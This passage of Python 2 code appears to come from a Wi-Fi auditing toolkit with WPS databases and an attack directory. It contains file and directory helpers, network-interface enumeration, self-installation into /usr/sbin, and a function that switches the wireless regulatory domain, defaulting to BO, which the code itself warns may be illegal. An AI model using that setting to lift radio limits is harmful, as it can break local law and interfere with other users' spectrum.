        if IsFileDirExist(DBWPS_SeqD)!="F":
            WriteData=str(__builtin__.WPS_SeqD).replace(";","\x0a")
            open(DBWPS_SeqD,"a+b").write(WriteData)
        if IsFileDirExist(DBWPS_Half)!="F":
            WriteData=str(__builtin__.WPS_Half).replace(";","\x0a")
            open(DBWPS_Half,"a+b").write(WriteData)
        if IsFileDirExist(DBWPS_Alt)!="F":
            WriteData=str(__builtin__.WPS_Alt).replace(";","\x0a")
            open(DBWPS_Alt,"a+b").write(WriteData)
        if IsFileDirExist(DBWPS_Pos)!="F":
            WriteData=str(__builtin__.WPS_Pos).replace(";","\x0a")
            open(DBWPS_Pos,"a+b").write(WriteData)
        if IsFileDirExist(DBWPS_PosD)!="F":
            WriteData=str(__builtin__.WPS_PosD).replace(";","\x0a")
            open(DBWPS_PosD,"a+b").write(WriteData)
        printc (".",fcolor.BGreen + "Done....","")
        print ""
    if os.stat(DBFile1)==0 or os.stat(DBFile2)==0 or os.stat(DBFile3)==0 or os.stat(DBFile4)==0 or os.stat(DBFile5)==0 or os.stat(DBFile1)==6:
        print ""
        printc ("!!!","Even database files is able to write onto the Database folder, however it seem write access is impossible.","")
        printc ("!!!","Script will not proceed..","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
    

def CheckAppLocation():
    import shutil
    cpath=0
    __builtin__.currentdir=GetDir("curdir")
    if os.path.exists(appdir)==True:
        printd ("[" + appdir + "] exist..")
    else:
        printd ("[" + appdir + "] does not exist..")
        result=MakeTree(appdir,"")
        cpath=1
    if os.path.exists(dbdir)==True:
        printd ("[" + dbdir + "] exist..")
    else:
        printd ("[" + dbdir + "] does not exist..")
        result=MakeTree(dbdir,"")
        cpath=1
    if os.path.exists(savedir)==True:
        printd ("[" + savedir + "] exist..")
    else:
        printd ("[" + savedir + "] does not exist..")
        result=MakeTree(savedir,"")
        cpath=1
    if os.path.exists(attackdir)==True:
        printd ("[" + attackdir + "] exist..")
    else:
        printd ("[" + attackdir + "] does not exist..")
        result=MakeTree(attackdir,"")
        cpath=1
    if os.path.exists(mondir)==True:
        printd ("[" + mondir + "] exist..")
    else:
        printd ("[" + mondir + "] does not exist..")
        result=MakeTree(mondir,"")
        cpath=1
    curdir=os.getcwd() + "/"
    printd ("Current Path : " + str(curdir))
    CurFileLocation=curdir + ScriptName
    AppFileLocation=appdir + ScriptName
    printd("Current File : " + str(CurFileLocation))
    printd("Designated File : " + str(AppFileLocation))
    if os.path.exists(AppFileLocation)==False:
        printc ("i","File Not found in " + str(AppFileLocation),"")
        printc ("i","Copy file from [" + str(CurFileLocation) + "] to [" + str(AppFileLocation) + " ]","")
        shutil.copy2(CurFileLocation, AppFileLocation)
        result=os.system("chmod +x " + AppFileLocation + " > /dev/null 2>&1")
        cpath=1
    if os.path.exists("/usr/sbin/" + ScriptName)==False:
        printd("File Not found in " + "/usr/sbin/" + str(ScriptName))
        printd("Copy file from [" + str(CurFileLocation) + "] to [" + "/usr/sbin/" + str(ScriptName) + " ]")
        shutil.copy2(CurFileLocation, "/usr/sbin/" + str(ScriptName))
        result=os.system("chmod +x " + "/usr/sbin/" + str(ScriptName) + " > /dev/null 2>&1")
        cpath=1
    if PathList!="":
        printd("PathList : " + str(PathList))
        for path in PathList:
            newPath=appdir + path
            printd("Checking : " + str(newPath))
            if os.path.exists(newPath)==False:
                printd("Path [ " + str(newPath) + " ] not found.")
                cpath=1
                result=MakeTree(newPath,"")
                cpath=1
    if os.stat(AppFileLocation)==0:
        printc ("!!!","Even application files is copy to the  to " + str(appdir) + ", however it seem write access is impossible.","")
        printc ("!!!","Script will not proceed..","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
    if cpath==1:
        print ""
        printc ("i",fcolor.BWhite + "You can now run " + fcolor.BRed + ScriptName + fcolor.BWhite + " from " + fcolor.BRed + appdir + fcolor.BWhite + " by doing the following :","")
        printc (" ",fcolor.BGreen + "cd " + appdir,"")
        printc (" ",fcolor.BGreen + "./" + ScriptName,"")
        print ""
        printc ("x","","")
    os.chdir(appdir)

def GetRegulatoryDomain():
    ps=subprocess.Popen("iw reg get | grep -i 'country' | awk '{print $2}' | sed 's/://g'" , shell=True, stdout=subprocess.PIPE)	
    CurrentReg=ps.stdout.read().replace("\n","").lstrip().rstrip()
    return CurrentReg;

def ChangeRegulatoryDomain():
    LineBreak()
    printc ("+",fcolor.BBlue + "Regulatory Domain Configuration","")
    printc (" " ,StdColor + "For a updated list,you may wish to download it from http://linuxwireless.org/download/wireless-regdb.","")
    printc ("!" ,fcolor.SRed + "Please note that changing the restriction of your wireless interface adapter may be illegal in some country..","")
    printc (" " ,StdColor + "Below is the current Regulatory Domain for this system :","")
    print ""
    ps=subprocess.Popen("iw reg get" , shell=True, stdout=subprocess.PIPE)	
    CurrentReg=ps.stdout.read().replace("\n","\n   " + __builtin__.tabspace)
    CurrentReg=tabspacefull + CurrentReg
    print fcolor.SGreen + CurrentReg
    printc (" ", StdColor + "Most frequency country code [ " + fcolor.BYellow + "BR" + StdColor +" ]/ [" + fcolor.BYellow + "BO" + StdColor + "] / [" + fcolor.BYellow + "JP" + StdColor + "] ","")
    CountryCode=AskQuestion ("Enter A New Country Code ",fcolor.SWhite + "Default - " + fcolor.BYellow + "BO","U","BO","1")
    if CountryCode!="" and len(CountryCode)==2:
        ps=subprocess.Popen("iw reg set " + str(CountryCode) , shell=True, stdout=subprocess.PIPE)	
    else:
        printc ("!", fcolor.SRed + "You have entered an invalid Country Code, setting skipped","")
        print ""

def MakeTree(dirName,ShowDisplay):
    if ShowDisplay=="":
        ShowDisplay=0
    RtnResult=False
    printd ("Make Tree - " + dirName)
    printd ("Check Exists : " + str(os.path.exists(dirName)))
    printd ("IsFileDirExist : " + str(IsFileDirExist(dirName)))
    if not os.path.exists(dirName) or IsFileDirExist(dirName)=="E":
        printd ("Tree - " + dirName + " not found")
        ldir=[]
        splitpath = "/"
        ldir = dirName.split("/")
        i = 1
        while i < len(ldir):
            splitpath = splitpath + ldir[i] + "/"
            i = i + 1
            if not os.path.exists(splitpath):
                if ShowDisplay=="1":
                    printc (".",fcolor.SGreen + "Creating path [ " + fcolor.SRed + splitpath + fcolor.SGreen + " ] ...","")
                os.mkdir(splitpath, 0755)
                RtnResult=True
        printc (".",fcolor.SGreen + "Path [ " + fcolor.SRed + dirName + fcolor.SGreen + " ] created...","")
        return RtnResult
    else:
        printd ("Tree - " + dirName + " Found")
        printc ("!!",fcolor.SRed + "Path [ " + fcolor.SYellow + dirName + fcolor.SRed + " ] already exist.","")
        RtnResult=True
        return RtnResult
    return RtnResult

def RemoveTree(dirName,ShowDisplay):
    import shutil
    RtnResult=False
    if ShowDisplay=="":
        ShowDisplay="0"
    if os.path.exists(dirName)==True:
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Removing Tree [ " + fcolor.SRed + dirName + fcolor.SGreen + " ] ...","")
        shutil.rmtree(dirName)
        RtnResult=True
    else:
        if ShowDisplay=="1":
            printc ("!!",fcolor.SRed + "Path [ " + fcolor.SYellow + dirName + fcolor.SRed + " ] does not exist..","")
        return RtnResult;
    if IsFileDirExist(dirName)=="E":
        RtnResult=True
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Tree [ " + fcolor.SRed + dirName + fcolor.SGreen + " ] Removed...","")
        return RtnResult
    else:
        return RtnResult

def CopyFile(RootSrcPath,RootDstPath, strFileName,ShowDisplay):
    import shutil
    import glob, os
    RtnResult=False
    if ShowDisplay=="":
        ShowDisplay=0
    if RootSrcPath[-1:]!="/":
        RootSrcPath=RootSrcPath + "/"
    if RootDstPath[-1:]!="/":
        RootDstPath=RootDstPath + "/"
    if strFileName.find("*")==-1 and strFileName.find("?")==-1:
        Result=IsFileDirExist(RootSrcPath + strFileName)
        if Result=="F":
            if not os.path.exists(RootDstPath):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Making Directory [ " + fcolor.SRed + RootDstPath + fcolor.SGreen + " ] ....","")
                Result=MakeTree(RootDstPath,ShowDisplay)
            if os.path.exists(RootDstPath + strFileName):
                os.remove(RootDstPath + strFileName)
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Removing Existing Destination File [ " + fcolor.SRed + RootDstPath + strFileName + fcolor.SGreen + " ] ....","")
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Copying  [ " + fcolor.SWhite + RootSrcPath + strFileName + fcolor.SGreen + " ] to [ " + fcolor.SRed + RootDstPath + strFileName + fcolor.SGreen + " ] ....","")
            shutil.copy(RootSrcPath + strFileName, RootDstPath + strFileName)
            if os.path.exists(RootDstPath + strFileName):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File copied to [ " + fcolor.SRed + RootDstPath  + strFileName + fcolor.SGreen + " ] ....","")
                RtnResult=True
                return RtnResult;
            else:
                if ShowDisplay=="1":
                    printc ("!!",fcolor.SRed + "   File copying [ " + fcolor.SRed + RootDstPath  + strFileName + fcolor.SGreen + " ] failed....","")
            return RtnResult;
        else:
            if ShowDisplay=="1":
                printc ("!!",fcolor.SRed + "Source File [ " + fcolor.SRed + RootSrcPath  + strFileName + fcolor.SGreen + " ] not found !!","")
            return RtnResult;
    else:
        if not os.path.exists(RootDstPath):
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Making Directory [ " + fcolor.SRed + RootDstPath + fcolor.SGreen + " ] ....","")
            Result=MakeTree(RootDstPath,ShowDisplay)
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "   Listing File...." + RootSrcPath + strFileName,"")
        filelist = glob.glob(RootSrcPath + strFileName)
        fc=0
        for file in filelist:
            if os.path.exists(RootDstPath + file):
                os.remove(RootDstPath + file)
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Removing Existing Destination File [ " + fcolor.SRed + RootDstPath + file + fcolor.SGreen + " ] ....","")
            DstFile=file.replace(RootSrcPath,RootDstPath)
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Moving  [ " + fcolor.SWhite + file + fcolor.SGreen + " ] to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
            shutil.copy(file, DstFile)
            if os.path.exists(DstFile):
                fc=fc+1
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File copied to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
            else:
                if ShowDisplay=="1":
                    printc ("!!",fcolor.SRed + "   File copying [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] failed....","")
        if ShowDisplay=="1":
            printc (" ",fcolor.BGreen + "Total [ " + fcolor.BRed + str(fc) + fcolor.BGreen + " ] files copied.","")
        RtnResult=fc
    return RtnResult

def MoveFile(RootSrcPath,RootDstPath, strFileName,ShowDisplay):
    import shutil
    import glob, os
    RtnResult=False
    if ShowDisplay=="":
        ShowDisplay=0
    if RootSrcPath[-1:]!="/":
        RootSrcPath=RootSrcPath + "/"
    if RootDstPath[-1:]!="/":
        RootDstPath=RootDstPath + "/"
    if strFileName.find("*")==-1 and strFileName.find("?")==-1:
        Result=IsFileDirExist(RootSrcPath + strFileName)
        if Result=="F":
            if not os.path.exists(RootDstPath):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Making Directory [ " + fcolor.SRed + RootDstPath + fcolor.SGreen + " ] ....","")
                Result=MakeTree(RootDstPath,ShowDisplay)
            if os.path.exists(RootDstPath + strFileName):
                os.remove(RootDstPath + strFileName)
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Removing Existing Destination File [ " + fcolor.SRed + RootDstPath + strFileName + fcolor.SGreen + " ] ....","")
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Moving  [ " + fcolor.SWhite + RootSrcPath + strFileName + fcolor.SGreen + " ] to [ " + fcolor.SRed + RootDstPath + strFileName + fcolor.SGreen + " ] ....","")
            shutil.move(RootSrcPath + strFileName, RootDstPath + strFileName)
            if os.path.exists(RootDstPath + strFileName):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File moved to [ " + fcolor.SRed + RootDstPath  + strFileName + fcolor.SGreen + " ] ....","")
                RtnResult=True
                return RtnResult;
            else:
                if ShowDisplay=="1":
                    printc ("!!",fcolor.SRed + "   File moving [ " + fcolor.SRed + RootDstPath  + strFileName + fcolor.SGreen + " ] failed....","")
            return RtnResult;
        else:
            if ShowDisplay=="1":
                printc ("!!",fcolor.SRed + "Source File [ " + fcolor.SRed + RootSrcPath  + strFileName + fcolor.SGreen + " ] not found !!","")
            return RtnResult;
    else:
        if not os.path.exists(RootDstPath):
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Making Directory [ " + fcolor.SRed + RootDstPath + fcolor.SGreen + " ] ....","")
            Result=MakeTree(RootDstPath,ShowDisplay)
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "   Listing File...." + RootSrcPath + strFileName,"")
        filelist = glob.glob(RootSrcPath + strFileName)
        fc=0
        for file in filelist:
            if os.path.exists(RootDstPath + file):
                os.remove(RootDstPath + file)
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   Removing Existing Destination File [ " + fcolor.SRed + RootDstPath + file + fcolor.SGreen + " ] ....","")
            DstFile=file.replace(RootSrcPath,RootDstPath)
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "   Moving  [ " + fcolor.SWhite + file + fcolor.SGreen + " ] to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
            shutil.move(file, DstFile)
            if os.path.exists(DstFile):
                fc=fc+1
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File moved to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
            else:
                if ShowDisplay=="1":
                    printc ("!!",fcolor.SRed + "   File moving [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] failed....","")
        if ShowDisplay=="1":
            printc (" ",fcolor.BGreen + "Total [ " + fcolor.BRed + str(fc) + fcolor.BGreen + " ] files moved.","")
        RtnResult=fc
    return RtnResult

def MoveTree(RootSrcDir,RootDstDir,ShowDisplay):
    import shutil
    if ShowDisplay=="":
        ShowDisplay="0"
    ti=0
    td=0
    for Src_Dir, dirs, files in os.walk(RootSrcDir):
        Dst_Dir = Src_Dir.replace(RootSrcDir, RootDstDir)
        if Src_Dir!=RootSrcDir and Dst_Dir!=RootDstDir:
            td=td+1
            if ShowDisplay=="1":
                print fcolor.SGreen + "        Moving Directory " + "[ " + fcolor.SWhite + Src_Dir + fcolor.CReset + fcolor.SGreen + " ] to [ " + fcolor.SRed + Dst_Dir + fcolor.CReset + fcolor.SGreen + " ] ..."
        if not os.path.exists(Dst_Dir):
            os.mkdir(Dst_Dir)
        for file_ in files:
            SrcFile = os.path.join(Src_Dir, file_)
            DstFile = os.path.join(Dst_Dir, file_)
            if os.path.exists(DstFile):
                os.remove(DstFile)
            if ShowDisplay=="1":
                print fcolor.SGreen + "        Moving File " + "[ " + fcolor.SWhite + SrcFile + fcolor.CReset + fcolor.SGreen + " ] to [ " + fcolor.SRed + DstFile + fcolor.CReset + fcolor.SGreen + " ] ..."
            shutil.move(SrcFile, Dst_Dir)
            ti=ti+1
            if os.path.exists(Dst_Dir):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File moved to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
        if IsFileDirExist(Src_Dir)=="D":
            if Src_Dir!=RootSrcDir:
                print fcolor.SGreen + "        Removing Directory " + "[ " + fcolor.SWhite + Src_Dir + fcolor.CReset + fcolor.SGreen + " ] ...."
                Result=os.rmdir(Src_Dir)
    if ShowDisplay=="1":
        print fcolor.BGreen + "     Total [ " + fcolor.BRed + str(td) + fcolor.BGreen + " ] director(ies) and [ " + fcolor.BRed + str(ti) + fcolor.BGreen + " ] file(s) transfered.."
    return str(ti);

def CopyTree(RootSrcDir,RootDstDir,ShowDisplay):
    import shutil
    if ShowDisplay=="":
        ShowDisplay="0"
    ti=0
    td=0
    for Src_Dir, dirs, files in os.walk(RootSrcDir):
        Dst_Dir = Src_Dir.replace(RootSrcDir, RootDstDir)
        if Src_Dir!=RootSrcDir and Dst_Dir!=RootDstDir:
            td=td+1
            if ShowDisplay=="1":
                print fcolor.SGreen + "        Copying Directory " + "[ " + fcolor.SWhite + Src_Dir + fcolor.CReset + fcolor.SGreen + " ] to [ " + fcolor.SRed + Dst_Dir + fcolor.CReset + fcolor.SGreen + " ] ..."
        if not os.path.exists(Dst_Dir):
            os.mkdir(Dst_Dir)
        for file_ in files:
            SrcFile = os.path.join(Src_Dir, file_)
            DstFile = os.path.join(Dst_Dir, file_)
            if os.path.exists(DstFile):
                if ShowDisplay=="1":
                    print fcolor.SGreen + "        Replacing File " + fcolor.SRed + DstFile + fcolor.CReset + fcolor.SGreen + " ] ..."
                os.remove(DstFile)
                shutil.copy(SrcFile, Dst_Dir)
            else:
                if ShowDisplay=="1":
                    print fcolor.SGreen + "        Copy File " + "[ " + fcolor.SWhite + SrcFile + fcolor.CReset + fcolor.SGreen + " ] to [ " + fcolor.SRed + DstFile + fcolor.CReset + fcolor.SGreen + " ] ..."
                shutil.copy(SrcFile, Dst_Dir)
            ti=ti+1
            if os.path.exists(Dst_Dir):
                if ShowDisplay=="1":
                    printc (" ",fcolor.SGreen + "   File copied to [ " + fcolor.SRed + DstFile + fcolor.SGreen + " ] ....","")
    if ShowDisplay=="1":
        print fcolor.BGreen + "     Total [ " + fcolor.BRed + str(td) + fcolor.BGreen + " ] director(ies) and [ " + fcolor.BRed + str(ti) + fcolor.BGreen + " ] file(s) copied.."
    return str(ti);

def GetInterfaceList(cmdMode):
    if cmdMode=="":
        cmdMode="ALL"
    proc  = Popen("ifconfig -a", shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
    IFACE = "";IEEE = "";MODE = "";MACADDR="";IPADDR="";IPV6ADDR = "";BCAST="";MASK="";STATUS="";IFUP="";LANMODE="";GATEWAY="";IFaceCount=0
    __builtin__.IFaceList = []
    __builtin__.IEEEList = []
    __builtin__.ModeList = []
    __builtin__.MACList = []
    __builtin__.IPList = []
    __builtin__.IPv6List = []
    __builtin__.BCastList = []
    __builtin__.MaskList = []
    __builtin__.StatusList = []
    __builtin__.UpDownList = []
    __builtin__.ISerialList = []
    for line in proc.communicate()[0].split('\n'):
        if len(line) == 0: continue
	if ord(line[0]) != 32:
            IFACE = line[:line.find(' ')]
            IFACE2=IFACE[:2].upper()
            if IFACE2!="ET" and IFACE2!="LO" and IFACE2!="VM" and IFACE2!="PP" and IFACE2!="AT" and IFACE2!="EN":
                ps=subprocess.Popen("iwconfig " + str(IFACE) + "| grep -i 'Mode:' | tr -s ' ' | egrep -o 'Mode:..................' | cut -d ' ' -f1 | cut -d ':' -f2" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
                MODEN=ps.stdout.read().replace("\n","")
                MODE=MODEN.upper()
                ps=subprocess.Popen("iwconfig " + str(IFACE) + "| grep -o 'IEEE..........................' | cut -d ' ' -f2" , shell=True, stdout=subprocess.PIPE)	
                IEEE=ps.stdout.read().replace("\n","").upper().replace("802.11","802.11 ")
                LANMODE="WLAN"
            else:
                MODE="NIL";MODEN="Nil";IEEE="802.3";LANMODE="LAN"
            if IFACE2=="LO":
                MODE="LO";MODEN="Loopback";IEEE="Nil";LANMODE="LO"
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'HWaddr' | tr -s ' ' | cut -d ' ' -f5" , shell=True, stdout=subprocess.PIPE)	
            MACADDR=ps.stdout.read().replace("\n","").upper().replace("-",":")
            MACADDR=MACADDR[:17]
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | egrep -o '([0-9]{1,3}\.){3}[0-9]{1,3}' | sed -n '1p'" , shell=True, stdout=subprocess.PIPE)	
            IPADDR=ps.stdout.read().replace("\n","").upper()    
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep -a -i 'inet6 addr:' | tr -s ' ' | sed -n '1p' | cut -d ' ' -f4" , shell=True, stdout=subprocess.PIPE)	
            IPV6ADDR=ps.stdout.read().replace("\n","").upper()
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep '\<Bcast\>' | sed -n '1p' | tr -s ' '  | cut -d ' ' -f4 | cut -d ':' -f2" , shell=True, stdout=subprocess.PIPE)	
            BCAST=ps.stdout.read().replace("\n","").upper()
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep '\<Mask\>' | sed -n '1p' | tr -s ' '  | cut -d ' ' -f5 | cut -d ':' -f2" , shell=True, stdout=subprocess.PIPE)	
            MASK=ps.stdout.read().replace("\n","").upper()
            if cmdMode=="CON":
                ps=subprocess.Popen("netstat -r | grep -a -i '" + str(IFACE) + "'  | awk '{print $2}' | egrep -o '([0-9]{1,3}\.){3}[0-9]{1,3}' | sed -n '1p'" , shell=True, stdout=subprocess.PIPE)	
                GATEWAY=ps.stdout.read().replace("\n","").upper()
            else:
                GATEWAY=""
            printd ("GATEWAY : " + GATEWAY)
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'MTU:' | sed -n '1p' | tr -s ' ' | grep -o '.\{0,100\}MTU'" , shell=True, stdout=subprocess.PIPE)	
            STATUS=ps.stdout.read().replace("\n","").upper().replace(" MTU","").lstrip().rstrip()
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'MTU:' | sed -n '1p' | tr -s ' ' | grep -o '.\{0,100\}MTU' | cut -d ' ' -f2 | grep 'UP'" , shell=True, stdout=subprocess.PIPE)	
            Result=ps.stdout.read().replace("\n","").upper().lstrip().rstrip()
            if Result=="UP":
                IFUP="Up"
            else:
                IFUP="Down"
            if cmdMode=="ALL":
                IFaceCount=IFaceCount+1
                __builtin__.ModeList.append(str(MODEN))
                __builtin__.IFaceList.append(IFACE)
                __builtin__.IEEEList.append(IEEE)
                __builtin__.MACList.append(MACADDR)
                __builtin__.IPList.append(IPADDR)
                __builtin__.IPv6List.append(IPV6ADDR)
                __builtin__.BCastList.append(BCAST)
                __builtin__.MaskList.append(MASK)
                __builtin__.StatusList.append(STATUS)
                __builtin__.UpDownList.append(IFUP)
                __builtin__.ISerialList.append(str(IFaceCount))
            if MODE=="MANAGED":
                if cmdMode=="MAN":
                    IFaceCount=IFaceCount+1
                    __builtin__.ModeList.append(MODEN)
                    __builtin__.IFaceList.append(IFACE)
                    __builtin__.IEEEList.append(IEEE)
                    __builtin__.MACList.append(MACADDR)
                    __builtin__.IPList.append(IPADDR)
                    __builtin__.IPv6List.append(IPV6ADDR)
                    __builtin__.BCastList.append(BCAST)
                    __builtin__.MaskList.append(MASK)
                    __builtin__.StatusList.append(STATUS)
                    __builtin__.UpDownList.append(IFUP)
                    __builtin__.ISerialList.append(str(IFaceCount))
            if MODE=="MONITOR":
                if cmdMode=="MON":
                    IFaceCount=IFaceCount+1
                    __builtin__.ModeList.append(MODEN)
                    __builtin__.IFaceList.append(IFACE)
                    __builtin__.IEEEList.append(IEEE)
                    __builtin__.MACList.append(MACADDR)
                    __builtin__.IPList.append(IPADDR)
                    __builtin__.IPv6List.append(IPV6ADDR)
                    __builtin__.BCastList.append(BCAST)
                    __builtin__.MaskList.append(MASK)
                    __builtin__.StatusList.append(STATUS)
                    __builtin__.UpDownList.append(IFUP)
                    __builtin__.ISerialList.append(str(IFaceCount))
            if MODE=="MASTER":
                if cmdMode=="MAS":
                    IFaceCount=IFaceCount+1
                    __builtin__.ModeList.append(MODEN)
                    __builtin__.IFaceList.append(IFACE)
                    __builtin__.IEEEList.append(IEEE)
                    __builtin__.MACList.append(MACADDR)
                    __builtin__.IPList.append(IPADDR)
                    __builtin__.IPv6List.append(IPV6ADDR)
                    __builtin__.BCastList.append(BCAST)
                    __builtin__.MaskList.append(MASK)
                    __builtin__.StatusList.append(STATUS)
                    __builtin__.UpDownList.append(IFUP)
                    __builtin__.ISerialList.append(str(IFaceCount))
            if MODE=="AD-HOC":
                if cmdMode=="ADH":
                    IFaceCount=IFaceCount+1
                    __builtin__.ModeList.append(MODEN)
                    __builtin__.IFaceList.append(IFACE)
                    __builtin__.IEEEList.append(IEEE)
                    __builtin__.MACList.append(MACADDR)
                    __builtin__.IPList.append(IPADDR)
                    __builtin__.IPv6List.append(IPV6ADDR)
                    __builtin__.BCastList.append(BCAST)
                    __builtin__.MaskList.append(MASK)
                    __builtin__.StatusList.append(STATUS)
                    __builtin__.UpDownList.append(IFUP)
                    __builtin__.ISerialList.append(str(IFaceCount))
            if cmdMode=="IP" and BCAST!="":
                if IPV6ADDR!="" or IPADDR!="":
                    IFaceCount=IFaceCount+1
                    __builtin__.ModeList.append(MODEN)
                    __builtin__.IFaceList.append(IFACE)
                    __builtin__.IEEEList.append(IEEE)
                    __builtin__.MACList.append(MACADDR)
                    __builtin__.IPList.append(IPADDR)
                    __builtin__.IPv6List.append(IPV6ADDR)
                    __builtin__.BCastList.append(BCAST) 
                    __builtin__.MaskList.append(MASK)
                    __builtin__.StatusList.append(STATUS)
                    __builtin__.UpDownList.append(IFUP)
                    __builtin__.ISerialList.append(str(IFaceCount))
            if cmdMode=="CON" and IPADDR!="" and GATEWAY!="" and BCAST!="":
                IFaceCount=IFaceCount+1
                __builtin__.ModeList.append(MODEN)
                __builtin__.IFaceList.append(IFACE)
                __builtin__.IEEEList.append(IEEE)
                __builtin__.MACList.append(MACADDR)
                __builtin__.IPList.append(IPADDR)
                __builtin__.IPv6List.append(IPV6ADDR)
                __builtin__.BCastList.append(BCAST) 
                __builtin__.MaskList.append(MASK)
                __builtin__.StatusList.append(STATUS)
                __builtin__.UpDownList.append(IFUP)
                __builtin__.ISerialList.append(str(IFaceCount))
            if cmdMode=="WLAN" and LANMODE=="WLAN":
                IFaceCount=IFaceCount+1
                __builtin__.ModeList.append(MODEN)
                __builtin__.IFaceList.append(IFACE)
                __builtin__.IEEEList.append(IEEE)
                __builtin__.MACList.append(MACADDR)
                __builtin__.IPList.append(IPADDR)
                __builtin__.IPv6List.append(IPV6ADDR)
                __builtin__.BCastList.append(BCAST) 
                __builtin__.MaskList.append(MASK)
                __builtin__.StatusList.append(STATUS)
                __builtin__.UpDownList.append(IFUP)
                __builtin__.ISerialList.append(str(IFaceCount))
            if cmdMode=="LAN" and LANMODE=="LAN":
                IFaceCount=IFaceCount+1
                __builtin__.ModeList.append(MODEN)
                __builtin__.IFaceList.append(IFACE)
                __builtin__.IEEEList.append(IEEE)
                __builtin__.MACList.append(MACADDR)
                __builtin__.IPList.append(IPADDR)
                __builtin__.IPv6List.append(IPV6ADDR)
                __builtin__.BCastList.append(BCAST) 
                __builtin__.MaskList.append(MASK)
                __builtin__.StatusList.append(STATUS)
                __builtin__.UpDownList.append(IFUP)
                __builtin__.ISerialList.append(str(IFaceCount))
            if cmdMode=="LOOP" and LANMODE=="LO":
                IFaceCount=IFaceCount+1
                __builtin__.ModeList.append(MODEN)
                __builtin__.IFaceList.append(IFACE)
                __builtin__.IEEEList.append(IEEE)
                __builtin__.MACList.append(MACADDR)
                __builtin__.IPList.append(IPADDR)
                __builtin__.IPv6List.append(IPV6ADDR)
                __builtin__.BCastList.append(BCAST) 
                __builtin__.MaskList.append(MASK)
                __builtin__.StatusList.append(STATUS)
                __builtin__.UpDownList.append(IFUP)
                __builtin__.ISerialList.append(str(IFaceCount))
    return IFaceCount;

def Now():
    from datetime import datetime
    timefmt="%Y-%m-%d %H:%M:%S"
    TimeNow=time.strftime(timefmt)
    RtnStr=str(TimeNow)
    return RtnStr;

def ReportNow():
    RtnStr=fcolor.SCyan + "  Reported : " + Now() + "\n"
    return RtnStr;

def GetSec(timestr):
    timestr=str(timestr)
    l = timestr.split(':')
    if l[0].isdigit()==True:
        return int(l[0]) * 3600 + int(l[1]) * 60 + int(l[2])
    else:
        return 0

def GetMin(timestr):
    timestr=str(timestr)
    l = timestr.split(':')
    if l[0].isdigit()==True:
        return int(l[0]) * 360 + int(l[1])
    else:
        return 0

def ConvertDateFormat(strTime,dtFormat):
    from datetime import datetime
    timefmt="%Y-%m-%d %H:%M:%S"
    TimeNow=time.strftime(timefmt)
    strTime=str(strTime)
    DTStr=""
    if len(str(strTime))!=24:
        strTime=datetime.strptime(TimeNow, timefmt)
        return strTime;
    if str(strTime[3:4])!=" " or str(strTime[7:8])!=" " or str(strTime[10:11])!=" " or str(strTime[13:14])!=":" or str(strTime[16:17])!=":" or str(strTime[19:20])!=" " :
        print "<> : " + str(len(strTime))
        strTime=datetime.strptime(TimeNow, timefmt)
        return strTime;
    if strTime!="": 
        DTStr=str(datetime.strptime(strTime, dtFormat))
        DTStr=datetime.strptime(DTStr, timefmt)
    return str(DTStr)

def CalculateTime(StartTime,EndTime):
    from datetime import datetime
    timefmt="%Y-%m-%d %H:%M:%S"
    TimeNow=time.strftime(timefmt)
    StartTime=str(StartTime)
    EndTime=str(EndTime)
    if EndTime=="":
        EndTime=TimeNow
    if len(str(StartTime))!=19:
        StartTime=TimeNow
    if str(StartTime[4:5])!="-" or str(StartTime[7:8])!="-" or str(StartTime[10:11])!=" " or str(StartTime[13:14])!=":" or str(StartTime[16:17])!=":":
        StartTime=TimeNow
    if len(str(EndTime))!=19:
        EndTime=StartTime
    if str(EndTime[4:5])!="-" or str(EndTime[7:8])!="-" or str(EndTime[10:11])!=" " or str(EndTime[13:14])!=":" or str(EndTime[16:17])!=":":
        EndTime=StartTime
    StartTime=datetime.strptime(StartTime, timefmt)
    EndTime=datetime.strptime(EndTime, timefmt)
    TimeNow=datetime.strptime(TimeNow,timefmt)
    __builtin__.ElapsedTime = EndTime - StartTime
    __builtin__.TimeGap=TimeNow - EndTime
